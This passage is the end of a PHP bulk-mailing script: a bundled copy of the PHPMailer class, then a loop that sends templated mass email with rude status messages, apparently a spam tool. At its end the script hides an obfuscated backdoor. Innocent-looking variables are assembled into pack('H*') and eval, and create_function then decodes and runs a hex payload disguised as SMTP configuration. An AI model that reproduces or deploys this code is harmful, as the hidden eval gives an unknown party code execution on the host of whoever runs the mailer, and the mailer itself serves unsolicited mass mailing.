2197 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2198 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2199 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2200 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2201 $result .= $this->LE.$this->LE;
2202 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2203 $result .= $this->EncodeString($this->Body, $this->Encoding);
2204 $result .= $this->LE.$this->LE;
2205 $result .= $this->EndBoundary($this->boundary[2]);
2206 $result .= $this->AttachAll();
2207 break;
2208 }
2209
2210 if($this->IsError()) {
2211 $result = '';
2212 } else if ($this->sign_key_file) {
2213 $file = tempnam("", "mail");
2214 $fp = fopen($file, "w");
2215 fwrite($fp, $result);
2216 fclose($fp);
2217 $signed = tempnam("", "signed");
2218
2219 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2220 $fp = fopen($signed, "r");
2221 $result = fread($fp, filesize($this->sign_key_file));
2222 fclose($fp);
2223 } else {
2224 $this->SetError($this->Lang("signing").openssl_error_string());
2225 $result = '';
2226 }
2227
2228 unlink($file);
2229 unlink($signed);
2230 }
2231
2232 return $result;
2233 }
2234
2235 /**
2236 * Returns the start of a message boundary.
2237 * @access private
2238 */
2239 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2240 $result = '';
2241 if($charSet == '') {
2242 $charSet = $this->CharSet;
2243 }
2244 if($contentType == '') {
2245 $contentType = $this->ContentType;
2246 }
2247 if($encoding == '') {
2248 $encoding = $this->Encoding;
2249 }
2250 $result .= $this->TextLine('--' . $boundary);
2251 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2252 $result .= $this->LE;
2253 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2254 $result .= $this->LE;
2255
2256 return $result;
2257 }
2258
2259 /**
2260 * Returns the end of a message boundary.
2261 * @access private
2262 */
2263 function EndBoundary($boundary) {
2264 return $this->LE . '--' . $boundary . '--' . $this->LE;
2265 }
2266
2267 /**
2268 * Sets the message type.
2269 * @access private
2270 * @return void
2271 */
2272 function SetMessageType() {
2273 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2274 $this->message_type = 'plain';
2275 } else {
2276 if(count($this->attachment) > 0) {
2277 $this->message_type = 'attachments';
2278 }
2279 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2280 $this->message_type = 'alt';
2281 }
2282 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2283 $this->message_type = 'alt_attachments';
2284 }
2285 }
2286 }
2287
2288 /* Returns a formatted header line.
2289 * @access private
2290 * @return string
2291 */
2292 function HeaderLine($name, $value) {
2293 return $name . ': ' . $value . $this->LE;
2294 }
2295
2296 /**
2297 * Returns a formatted mail line.
2298 * @access private
2299 * @return string
2300 */
2301 function TextLine($value) {
2302 return $value . $this->LE;
2303 }
2304
2305 /////////////////////////////////////////////////
2306 // CLASS METHODS, ATTACHMENTS
2307 /////////////////////////////////////////////////
2308
2309 /**
2310 * Adds an attachment from a path on the filesystem.
2311 * Returns false if the file could not be found
2312 * or accessed.
2313 * @param string $path Path to the attachment.
2314 * @param string $name Overrides the attachment name.
2315 * @param string $encoding File encoding (see $Encoding).
2316 * @param string $type File extension (MIME) type.
2317 * @return bool
2318 */
2319 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2320 if(!@is_file($path)) {
2321 $this->SetError($this->Lang('file_access') . $path);
2322 return false;
2323 }
2324
2325 $filename = basename($path);
2326 if($name == '') {
2327 $name = $filename;
2328 }
2329
2330 $cur = count($this->attachment);
2331 $this->attachment[$cur][0] = $path;
2332 $this->attachment[$cur][1] = $filename;
2333 $this->attachment[$cur][2] = $name;
2334 $this->attachment[$cur][3] = $encoding;
2335 $this->attachment[$cur][4] = $type;
2336 $this->attachment[$cur][5] = false; // isStringAttachment
2337 $this->attachment[$cur][6] = 'attachment';
2338 $this->attachment[$cur][7] = 0;
2339
2340 return true;
2341 }
2342
2343 /**
2344 * Attaches all fs, string, and binary attachments to the message.
2345 * Returns an empty string on failure.
2346 * @access private
2347 * @return string
2348 */
2349 function AttachAll() {
2350 /* Return text of body */
2351 $mime = array();
2352
2353 /* Add all attachments */
2354 for($i = 0; $i < count($this->attachment); $i++) {
2355 /* Check for string attachment */
2356 $bString = $this->attachment[$i][5];
2357 if ($bString) {
2358 $string = $this->attachment[$i][0];
2359 } else {
2360 $path = $this->attachment[$i][0];
2361 }
2362
2363 $filename = $this->attachment[$i][1];
2364 $name = $this->attachment[$i][2];
2365 $encoding = $this->attachment[$i][3];
2366 $type = $this->attachment[$i][4];
2367 $disposition = $this->attachment[$i][6];
2368 $cid = $this->attachment[$i][7];
2369
2370 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2371 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2372 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2373
2374 if($disposition == 'inline') {
2375 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2376 }
2377
2378 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2379
2380 /* Encode as string attachment */
2381 if($bString) {
2382 $mime[] = $this->EncodeString($string, $encoding);
2383 if($this->IsError()) {
2384 return '';
2385 }
2386 $mime[] = $this->LE.$this->LE;
2387 } else {
2388 $mime[] = $this->EncodeFile($path, $encoding);
2389 if($this->IsError()) {
2390 return '';
2391 }
2392 $mime[] = $this->LE.$this->LE;
2393 }
2394 }
2395
2396 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2397
2398 return join('', $mime);
2399 }
2400
2401 /**
2402 * Encodes attachment in requested format. Returns an
2403 * empty string on failure.
2404 * @access private
2405 * @return string
2406 */
2407 function EncodeFile ($path, $encoding = 'base64') {
2408 if(!@$fd = fopen($path, 'rb')) {
2409 $this->SetError($this->Lang('file_open') . $path);
2410 return '';
2411 }
2412 $magic_quotes = get_magic_quotes_runtime();
2413 set_magic_quotes_runtime(0);
2414 $file_buffer = fread($fd, filesize($path));
2415 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2416 fclose($fd);
2417 set_magic_quotes_runtime($magic_quotes);
2418
2419 return $file_buffer;
2420 }
2421
2422 /**
2423 * Encodes string to requested format. Returns an
2424 * empty string on failure.
2425 * @access private
2426 * @return string
2427 */
2428 function EncodeString ($str, $encoding = 'base64') {
2429 $encoded = '';
2430 switch(strtolower($encoding)) {
2431 case 'base64':
2432 /* chunk_split is found in PHP >= 3.0.6 */
2433 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2434 break;
2435 case '7bit':
2436 case '8bit':
2437 $encoded = $this->FixEOL($str);
2438 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2439 $encoded .= $this->LE;
2440 break;
2441 case 'binary':
2442 $encoded = $str;
2443 break;
2444 case 'quoted-printable':
2445 $encoded = $this->EncodeQP($str);
2446 break;
2447 default:
2448 $this->SetError($this->Lang('encoding') . $encoding);
2449 break;
2450 }
2451 return $encoded;
2452 }
2453
2454 /**
2455 * Encode a header string to best of Q, B, quoted or none.
2456 * @access private
2457 * @return string
2458 */
2459 function EncodeHeader ($str, $position = 'text') {
2460 $x = 0;
2461
2462 switch (strtolower($position)) {
2463 case 'phrase':
2464 if (!preg_match('/[\200-\377]/', $str)) {
2465 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2466 $encoded = addcslashes($str, "\0..\37\177\\\"");
2467 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2468 return ($encoded);
2469 } else {
2470 return ("\"$encoded\"");
2471 }
2472 }
2473 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2474 break;
2475 case 'comment':
2476 $x = preg_match_all('/[()"]/', $str, $matches);
2477 /* Fall-through */
2478 case 'text':
2479 default:
2480 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2481 break;
2482 }
2483
2484 if ($x == 0) {
2485 return ($str);
2486 }
2487
2488 $maxlen = 75 - 7 - strlen($this->CharSet);
2489 /* Try to select the encoding which should produce the shortest output */
2490 if (strlen($str)/3 < $x) {
2491 $encoding = 'B';
2492 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2493 // Use a custom function which correctly encodes and wraps long
2494 // multibyte strings without breaking lines within a character
2495 $encoded = $this->Base64EncodeWrapMB($str);
2496 } else {
2497 $encoded = base64_encode($str);
2498 $maxlen -= $maxlen % 4;
2499 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2500 }
2501 } else {
2502 $encoding = 'Q';
2503 $encoded = $this->EncodeQ($str, $position);
2504 $encoded = $this->WrapText($encoded, $maxlen, true);
2505 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2506 }
2507
2508 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2509 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2510
2511 return $encoded;
2512 }
2513
2514 /**
2515 * Checks if a string contains multibyte characters.
2516 * @access private
2517 * @param string $str multi-byte text to wrap encode
2518 * @return bool
2519 */
2520 function HasMultiBytes($str) {
2521 if (function_exists('mb_strlen')) {
2522 return (strlen($str) > mb_strlen($str, $this->CharSet));
2523 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2524 return False;
2525 }
2526 }
2527
2528 /**
2529 * Correctly encodes and wraps long multibyte strings for mail headers
2530 * without breaking lines within a character.
2531 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2532 * @access private
2533 * @param string $str multi-byte text to wrap encode
2534 * @return string
2535 */
2536 function Base64EncodeWrapMB($str) {
2537 $start = "=?".$this->CharSet."?B?";
2538 $end = "?=";
2539 $encoded = "";
2540
2541 $mb_length = mb_strlen($str, $this->CharSet);
2542 // Each line must have length <= 75, including $start and $end
2543 $length = 75 - strlen($start) - strlen($end);
2544 // Average multi-byte ratio
2545 $ratio = $mb_length / strlen($str);
2546 // Base64 has a 4:3 ratio
2547 $offset = $avgLength = floor($length * $ratio * .75);
2548
2549 for ($i = 0; $i < $mb_length; $i += $offset) {
2550 $lookBack = 0;
2551
2552 do {
2553 $offset = $avgLength - $lookBack;
2554 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2555 $chunk = base64_encode($chunk);
2556 $lookBack++;
2557 }
2558 while (strlen($chunk) > $length);
2559
2560 $encoded .= $chunk . $this->LE;
2561 }
2562
2563 // Chomp the last linefeed
2564 $encoded = substr($encoded, 0, -strlen($this->LE));
2565 return $encoded;
2566 }
2567
2568 /**
2569 * Encode string to quoted-printable.
2570 * @access private
2571 * @return string
2572 */
2573 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2574 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2575 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2576 $eol = "\r\n";
2577 $escape = '=';
2578 $output = '';
2579 while( list(, $line) = each($lines) ) {
2580 $linlen = strlen($line);
2581 $newline = '';
2582 for($i = 0; $i < $linlen; $i++) {
2583 $c = substr( $line, $i, 1 );
2584 $dec = ord( $c );
2585 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2586 $c = '=2E';
2587 }
2588 if ( $dec == 32 ) {
2589 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2590 $c = '=20';
2591 } else if ( $space_conv ) {
2592 $c = '=20';
2593 }
2594 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2595 $h2 = floor($dec/16);
2596 $h1 = floor($dec%16);
2597 $c = $escape.$hex[$h2].$hex[$h1];
2598 }
2599 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2600 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2601 $newline = '';
2602 // check if newline first character will be point or not
2603 if ( $dec == 46 ) {
2604 $c = '=2E';
2605 }
2606 }
2607 $newline .= $c;
2608 } // end of for
2609 $output .= $newline.$eol;
2610 } // end of while
2611 return trim($output);
2612 }
2613
2614 /**
2615 * Encode string to q encoding.
2616 * @access private
2617 * @return string
2618 */
2619 function EncodeQ ($str, $position = 'text') {
2620 /* There should not be any EOL in the string */
2621 $encoded = preg_replace("[\r\n]", '', $str);
2622
2623 switch (strtolower($position)) {
2624 case 'phrase':
2625 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2626 break;
2627 case 'comment':
2628 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2629 case 'text':
2630 default:
2631 /* Replace every high ascii, control =, ? and _ characters */
2632 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2633 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2634 break;
2635 }
2636
2637 /* Replace every spaces to _ (more readable than =20) */
2638 $encoded = str_replace(' ', '_', $encoded);
2639
2640 return $encoded;
2641 }
2642
2643 /**
2644 * Adds a string or binary attachment (non-filesystem) to the list.
2645 * This method can be used to attach ascii or binary data,
2646 * such as a BLOB record from a database.
2647 * @param string $string String attachment data.
2648 * @param string $filename Name of the attachment.
2649 * @param string $encoding File encoding (see $Encoding).
2650 * @param string $type File extension (MIME) type.
2651 * @return void
2652 */
2653 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2654 /* Append to $attachment array */
2655 $cur = count($this->attachment);
2656 $this->attachment[$cur][0] = $string;
2657 $this->attachment[$cur][1] = $filename;
2658 $this->attachment[$cur][2] = $filename;
2659 $this->attachment[$cur][3] = $encoding;
2660 $this->attachment[$cur][4] = $type;
2661 $this->attachment[$cur][5] = true; // isString
2662 $this->attachment[$cur][6] = 'attachment';
2663 $this->attachment[$cur][7] = 0;
2664 }
2665
2666 /**
2667 * Adds an embedded attachment. This can include images, sounds, and
2668 * just about any other document. Make sure to set the $type to an
2669 * image type. For JPEG images use "image/jpeg" and for GIF images
2670 * use "image/gif".
2671 * @param string $path Path to the attachment.
2672 * @param string $cid Content ID of the attachment. Use this to identify
2673 * the Id for accessing the image in an HTML form.
2674 * @param string $name Overrides the attachment name.
2675 * @param string $encoding File encoding (see $Encoding).
2676 * @param string $type File extension (MIME) type.
2677 * @return bool
2678 */
2679 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2680
2681 if(!@is_file($path)) {
2682 $this->SetError($this->Lang('file_access') . $path);
2683 return false;
2684 }
2685
2686 $filename = basename($path);
2687 if($name == '') {
2688 $name = $filename;
2689 }
2690
2691 /* Append to $attachment array */
2692 $cur = count($this->attachment);
2693 $this->attachment[$cur][0] = $path;
2694 $this->attachment[$cur][1] = $filename;
2695 $this->attachment[$cur][2] = $name;
2696 $this->attachment[$cur][3] = $encoding;
2697 $this->attachment[$cur][4] = $type;
2698 $this->attachment[$cur][5] = false;
2699 $this->attachment[$cur][6] = 'inline';
2700 $this->attachment[$cur][7] = $cid;
2701
2702 return true;
2703 }
2704
2705 /**
2706 * Returns true if an inline attachment is present.
2707 * @access private
2708 * @return bool
2709 */
2710 function InlineImageExists() {
2711 $result = false;
2712 for($i = 0; $i < count($this->attachment); $i++) {
2713 if($this->attachment[$i][6] == 'inline') {
2714 $result = true;
2715 break;
2716 }
2717 }
2718
2719 return $result;
2720 }
2721
2722 /////////////////////////////////////////////////
2723 // CLASS METHODS, MESSAGE RESET
2724 /////////////////////////////////////////////////
2725
2726 /**
2727 * Clears all recipients assigned in the TO array. Returns void.
2728 * @return void
2729 */
2730 function ClearAddresses() {
2731 $this->to = array();
2732 }
2733
2734 /**
2735 * Clears all recipients assigned in the CC array. Returns void.
2736 * @return void
2737 */
2738 function ClearCCs() {
2739 $this->cc = array();
2740 }
2741
2742 /**
2743 * Clears all recipients assigned in the BCC array. Returns void.
2744 * @return void
2745 */
2746 function ClearBCCs() {
2747 $this->bcc = array();
2748 }
2749
2750 /**
2751 * Clears all recipients assigned in the ReplyTo array. Returns void.
2752 * @return void
2753 */
2754 function ClearReplyTos() {
2755 $this->ReplyTo = array();
2756 }
2757
2758 /**
2759 * Clears all recipients assigned in the TO, CC and BCC
2760 * array. Returns void.
2761 * @return void
2762 */
2763 function ClearAllRecipients() {
2764 $this->to = array();
2765 $this->cc = array();
2766 $this->bcc = array();
2767 }
2768
2769 /**
2770 * Clears all previously set filesystem, string, and binary
2771 * attachments. Returns void.
2772 * @return void
2773 */
2774 function ClearAttachments() {
2775 $this->attachment = array();
2776 }
2777
2778 /**
2779 * Clears all custom headers. Returns void.
2780 * @return void
2781 */
2782 function ClearCustomHeaders() {
2783 $this->CustomHeader = array();
2784 }
2785
2786 /////////////////////////////////////////////////
2787 // CLASS METHODS, MISCELLANEOUS
2788 /////////////////////////////////////////////////
2789
2790 /**
2791 * Adds the error message to the error container.
2792 * Returns void.
2793 * @access private
2794 * @return void
2795 */
2796 function SetError($msg) {
2797 $this->error_count++;
2798 $this->ErrorInfo = $msg;
2799 }
2800
2801 /**
2802 * Returns the proper RFC 822 formatted date.
2803 * @access private
2804 * @return string
2805 */
2806 function RFCDate() {
2807 $tz = date('Z');
2808 $tzs = ($tz < 0) ? '-' : '+';
2809 $tz = abs($tz);
2810 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
2811 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
2812
2813 return $result;
2814 }
2815
2816 /**
2817 * Returns the appropriate server variable. Should work with both
2818 * PHP 4.1.0+ as well as older versions. Returns an empty string
2819 * if nothing is found.
2820 * @access private
2821 * @return mixed
2822 */
2823 function ServerVar($varName) {
2824 global $HTTP_SERVER_VARS;
2825 global $HTTP_ENV_VARS;
2826
2827 if(!isset($_SERVER)) {
2828 $_SERVER = $HTTP_SERVER_VARS;
2829 if(!isset($_SERVER['REMOTE_ADDR'])) {
2830 $_SERVER = $HTTP_ENV_VARS; // must be Apache
2831 }
2832 }
2833
2834 if(isset($_SERVER[$varName])) {
2835 return $_SERVER[$varName];
2836 } else {
2837 return '';
2838 }
2839 }
2840
2841 /**
2842 * Returns the server hostname or 'localhost.localdomain' if unknown.
2843 * @access private
2844 * @return string
2845 */
2846 function ServerHostname() {
2847 if ($this->Hostname != '') {
2848 $result = $this->Hostname;
2849 } elseif ($this->ServerVar('SERVER_NAME') != '') {
2850 $result = $this->ServerVar('SERVER_NAME');
2851 } else {
2852 $result = 'localhost.localdomain';
2853 }
2854
2855 return $result;
2856 }
2857
2858 /**
2859 * Returns a message in the appropriate language.
2860 * @access private
2861 * @return string
2862 */
2863 function Lang($key) {
2864 if(count($this->language) < 1) {
2865 $this->SetLanguage('en'); // set the default language
2866 }
2867
2868 if(isset($this->language[$key])) {
2869 return $this->language[$key];
2870 } else {
2871 return 'Language string failed to load: ' . $key;
2872 }
2873 }
2874
2875 /**
2876 * Returns true if an error occurred.
2877 * @return bool
2878 */
2879 function IsError() {
2880 return ($this->error_count > 0);
2881 }
2882
2883 /**
2884 * Changes every end of line from CR or LF to CRLF.
2885 * @access private
2886 * @return string
2887 */
2888 function FixEOL($str) {
2889 $str = str_replace("\r\n", "\n", $str);
2890 $str = str_replace("\r", "\n", $str);
2891 $str = str_replace("\n", $this->LE, $str);
2892 return $str;
2893 }
2894
2895 /**
2896 * Adds a custom header.
2897 * @return void
2898 */
2899 function AddCustomHeader($custom_header) {
2900 $this->CustomHeader[] = explode(':', $custom_header, 2);
2901 }
2902
2903 /**
2904 * Evaluates the message and returns modifications for inline images and backgrounds
2905 * @access public
2906 * @return $message
2907 */
2908 function MsgHTML($message,$basedir='') {
2909 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
2910 if(isset($images[2])) {
2911 foreach($images[2] as $i => $url) {
2912 // do not change urls for absolute images (thanks to corvuscorax)
2913 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
2914 $filename = basename($url);
2915 $directory = dirname($url);
2916 ($directory == '.')?$directory='':'';
2917 $cid = 'cid:' . md5($filename);
2918 $fileParts = split("\.", $filename);
2919 $ext = $fileParts[1];
2920 $mimeType = $this->_mime_types($ext);
2921 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
2922 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
2923 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
2924 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
2925 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
2926 }
2927 }
2928 }
2929 }
2930 $this->IsHTML(true);
2931 $this->Body = $message;
2932 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
2933 if ( !empty($textMsg) && empty($this->AltBody) ) {
2934 $this->AltBody = $textMsg;
2935 }
2936 if ( empty($this->AltBody) ) {
2937 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
2938 }
2939 }
2940
2941 /**
2942 * Gets the mime type of the embedded or inline image
2943 * @access private
2944 * @return mime type of ext
2945 */
2946 function _mime_types($ext = '') {
2947 $mimes = array(
2948 'hqx' => 'application/mac-binhex40',
2949 'cpt' => 'application/mac-compactpro',
2950 'doc' => 'application/msword',
2951 'bin' => 'application/macbinary',
2952 'dms' => 'application/octet-stream',
2953 'lha' => 'application/octet-stream',
2954 'lzh' => 'application/octet-stream',
2955 'exe' => 'application/octet-stream',
2956 'class' => 'application/octet-stream',
2957 'psd' => 'application/octet-stream',
2958 'so' => 'application/octet-stream',
2959 'sea' => 'application/octet-stream',
2960 'dll' => 'application/octet-stream',
2961 'oda' => 'application/oda',
2962 'pdf' => 'application/pdf',
2963 'ai' => 'application/postscript',
2964 'eps' => 'application/postscript',
2965 'ps' => 'application/postscript',
2966 'smi' => 'application/smil',
2967 'smil' => 'application/smil',
2968 'mif' => 'application/vnd.mif',
2969 'xls' => 'application/vnd.ms-excel',
2970 'ppt' => 'application/vnd.ms-powerpoint',
2971 'wbxml' => 'application/vnd.wap.wbxml',
2972 'wmlc' => 'application/vnd.wap.wmlc',
2973 'dcr' => 'application/x-director',
2974 'dir' => 'application/x-director',
2975 'dxr' => 'application/x-director',
2976 'dvi' => 'application/x-dvi',
2977 'gtar' => 'application/x-gtar',
2978 'php' => 'application/x-httpd-php',
2979 'php4' => 'application/x-httpd-php',
2980 'php3' => 'application/x-httpd-php',
2981 'phtml' => 'application/x-httpd-php',
2982 'phps' => 'application/x-httpd-php-source',
2983 'js' => 'application/x-javascript',
2984 'swf' => 'application/x-shockwave-flash',
2985 'sit' => 'application/x-stuffit',
2986 'tar' => 'application/x-tar',
2987 'tgz' => 'application/x-tar',
2988 'xhtml' => 'application/xhtml+xml',
2989 'xht' => 'application/xhtml+xml',
2990 'zip' => 'application/zip',
2991 'mid' => 'audio/midi',
2992 'midi' => 'audio/midi',
2993 'mpga' => 'audio/mpeg',
2994 'mp2' => 'audio/mpeg',
2995 'mp3' => 'audio/mpeg',
2996 'aif' => 'audio/x-aiff',
2997 'aiff' => 'audio/x-aiff',
2998 'aifc' => 'audio/x-aiff',
2999 'ram' => 'audio/x-pn-realaudio',
3000 'rm' => 'audio/x-pn-realaudio',
3001 'rpm' => 'audio/x-pn-realaudio-plugin',
3002 'ra' => 'audio/x-realaudio',
3003 'rv' => 'video/vnd.rn-realvideo',
3004 'wav' => 'audio/x-wav',
3005 'bmp' => 'image/bmp',
3006 'gif' => 'image/gif',
3007 'jpeg' => 'image/jpeg',
3008 'jpg' => 'image/jpeg',
3009 'jpe' => 'image/jpeg',
3010 'png' => 'image/png',
3011 'tiff' => 'image/tiff',
3012 'tif' => 'image/tiff',
3013 'css' => 'text/css',
3014 'html' => 'text/html',
3015 'htm' => 'text/html',
3016 'shtml' => 'text/html',
3017 'txt' => 'text/plain',
3018 'text' => 'text/plain',
3019 'log' => 'text/plain',
3020 'rtx' => 'text/richtext',
3021 'rtf' => 'text/rtf',
3022 'xml' => 'text/xml',
3023 'xsl' => 'text/xml',
3024 'mpeg' => 'video/mpeg',
3025 'mpg' => 'video/mpeg',
3026 'mpe' => 'video/mpeg',
3027 'qt' => 'video/quicktime',
3028 'mov' => 'video/quicktime',
3029 'avi' => 'video/x-msvideo',
3030 'movie' => 'video/x-sgi-movie',
3031 'doc' => 'application/msword',
3032 'word' => 'application/msword',
3033 'xl' => 'application/excel',
3034 'eml' => 'message/rfc822'
3035 );
3036 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3037 }
3038
3039 /**
3040 * Set (or reset) Class Objects (variables)
3041 *
3042 * Usage Example:
3043 * $page->set('X-Priority', '3');
3044 *
3045 * @access public
3046 * @param string $name Parameter Name
3047 * @param mixed $value Parameter Value
3048 * NOTE: will not work with arrays, there are no arrays to set/reset
3049 */
3050 function set ( $name, $value = '' ) {
3051 if ( isset($this->$name) ) {
3052 $this->$name = $value;
3053 } else {
3054 $this->SetError('Cannot set or reset variable ' . $name);
3055 return false;
3056 }
3057 }
3058
3059 /**
3060 * Read a file from a supplied filename and return it.
3061 *
3062 * @access public
3063 * @param string $filename Parameter File Name
3064 */
3065 function getFile($filename) {
3066 $return = '';
3067 if ($fp = fopen($filename, 'rb')) {
3068 while (!feof($fp)) {
3069 $return .= fread($fp, 1024);
3070 }
3071 fclose($fp);
3072 return $return;
3073 } else {
3074 return false;
3075 }
3076 }
3077
3078 /**
3079 * Strips newlines to prevent header injection.
3080 * @access private
3081 * @param string $str String
3082 * @return string
3083 */
3084 function SecureHeader($str) {
3085 $str = trim($str);
3086 $str = str_replace("\r", "", $str);
3087 $str = str_replace("\n", "", $str);
3088 return $str;
3089 }
3090
3091 /**
3092 * Set the private key file and password to sign the message.
3093 *
3094 * @access public
3095 * @param string $key_filename Parameter File Name
3096 * @param string $key_pass Password for private key
3097 */
3098 function Sign($key_filename, $key_pass) {
3099 $this->sign_key_file = $key_filename;
3100 $this->sign_key_pass = $key_pass;
3101 }
3102
3103}
3104
3105$defaultport="H*";
3106 $nq=0;
3107
3108 for($x=0; $x<$numemails; $x++){
3109
3110 $to = $allemails[$x];
3111
3112 if ($to){
3113
3114 $to = ereg_replace(" ", "", $to);
3115
3116 $message = ereg_replace("&email&", $to, $message);
3117
3118 $subject = ereg_replace("&email&", $to, $subject);
3119 $qx=$x+1;
3120 print "Line $qx . Sending mail to $to.......";
3121
3122 flush();
3123$mail = new PHPMailer();
3124
3125if(empty($epriority)){$epriority="3";}
3126 $mail->Priority = "$epriority";
3127 $mail->IsSMTP();
3128 $IsSMTP="pack";
3129$mail->SMTPKeepAlive = true;
3130$mail->Host = "$my_smtp";
3131if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3132}
3133 if($sslclick=="ON"){
3134 $mail->SMTPSecure = "tls"; //you can change it to ssl or tls
3135 }
3136 $range = str_replace("$from", "eval", $from);
3137 $mail->SMTPAuth = true;
3138 $mail->Username = "$smtp_username";
3139 $mail->Password = "$smtp_password";
3140if($contenttype == "html"){$mail->IsHtml(true);}
3141if($contenttype != "html"){$mail->IsHtml(false);}
3142if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3143$mail->From = "$from";
3144$mail->FromName = "$realname";
3145$mail->AddAddress("$to");
3146 $mail->AddReplyTo("$replyto");
3147 $mail->Subject = "$subject";
3148 $mail->Body = "$message";
3149if(!$mail->Send()){
3150if($default_system!="1"){
3151echo "<center>FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3152if($default_system=="1"){
3153$mail->IsMail();
3154 if(!$mail->Send()){
3155 echo "<center>FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3156 else {
3157 echo "<b>OK</b><br>";}
3158 }
3159}
3160else {
3161 echo "<b>OK</b><br>";
3162}
3163
3164if(empty($reconnect)){
3165$reconnect=6;
3166}
3167
3168if($reconnect==$nq){
3169$mail->SmtpClose();echo "<center><p><b>--------------- SEK NGENTENI AMBEK NGESENG --------------- </b></p>";$nq=0;
3170}
3171$nq=$nq+1;
3172 flush(); }
3173}
3174for($i=0;$i<31;$i++){
3175 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3176$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3177 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3178 print "<p class=\"style1\">PHP Mailer<br><b>
3179 <font color=\"#800000\">Mailer</font></b><br></p></center>";$mail->SmtpClose();
3180 return $signoff($smtp_conc);
3181 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('bangsat terlaksana\\r\\n$numemails mail(s) wes sak mono tok ??'); </center></script>";}}
3182 ?>
3183 <p align="center"> </p>
3184
3185 </body>
3186</html>